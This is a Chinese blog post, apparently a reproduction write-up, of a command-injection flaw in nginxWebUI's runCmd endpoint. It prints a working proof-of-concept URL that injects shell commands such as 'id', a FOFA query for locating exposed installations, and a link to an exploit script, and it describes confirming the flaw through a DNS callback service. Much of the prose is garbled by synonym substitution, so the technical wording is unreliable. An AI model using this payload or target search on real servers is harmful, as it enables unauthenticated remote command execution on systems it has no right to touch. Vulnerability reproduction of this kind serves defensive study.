nginxWebUI runCmd命令执行漏洞简单复现

2023-09-06 0 810

原副标题:nginxWebUI runCmd指示继续执行安全漏洞单纯Cadours

✎ 写作警语

责任编辑所提供更多的辅助工具仅用作自学,明令禁止用作其它,请在24半小时内删掉辅助工具文档!!!

1.安全漏洞叙述

nginxWebUI 是这款GUI管理工作 nginx 实用性的辅助工具, 能采用页面来加速实用性 nginx 的每项机能, 主要包括 http 协定转贴, tcp 协定转贴, 逆向全权, 阻抗平衡, 动态 html 伺服器, ssl 合格证书手动提出申请、签、实用性等, 实用性好后可一建聚合 nginx.conf 文档, 与此同时可掌控 nginx 采用此文档展开开启与空载, 顺利完成对 nginx 的GUI掌控生态圈.

参照自官网:https://www.nginxwebui.cn/

nginxWebUI 虽然未对使用者的输出展开严苛过滤器,引致任一指示继续执行安全漏洞。

该安全漏洞借助前提单纯,安全漏洞危害性较低。

负面影响版: nginxWebUI <= 3.5.0

2.安全漏洞Cadours

poc :

url门牌号 + /AdminPage/conf/runCmd?cmd=指示%26%26echo%20nginx

fofa 准则: app=”nginxWebUI”

nginxWebUI runCmd命令执行漏洞简单复现

image.png

在这儿以 dnslog 网络平台来展开试验:

http://www.dnslog.cn/

nginxWebUI runCmd命令执行漏洞简单复现

image.png

直接输出刚刚的 poc 试验:

nginxWebUI runCmd命令执行漏洞简单复现

image.png

nginxWebUI runCmd命令执行漏洞简单复现

image.png

此时证明安全漏洞存在,试验下能否继续执行指示回显:

在这儿采用 id 指示:

url门牌号 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx

nginxWebUI runCmd命令执行漏洞简单复现

image.png 4.exp

相关脚本已上传至 github :

https://github.com/crow821/crowsec

nginx 下载

单个脚本能一直继续执行指示:

image.png

在这儿注意我前面有一个运行失败的标志:

image.png

在这儿主要是考虑如果遇到英文环境,在这儿可能会变化掉,所以我对此做了保留:

nginxWebUI runCmd命令执行漏洞简单复现

image.png

主要是为了适配一些非 UTF-8 的环境,如果你有强迫症的话,你能将这句话修改下:

res = re.findall(<br>运行失败<br>(.*?)<br>nginx<br>”}, result)

image.png

感觉负面影响其实不大。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务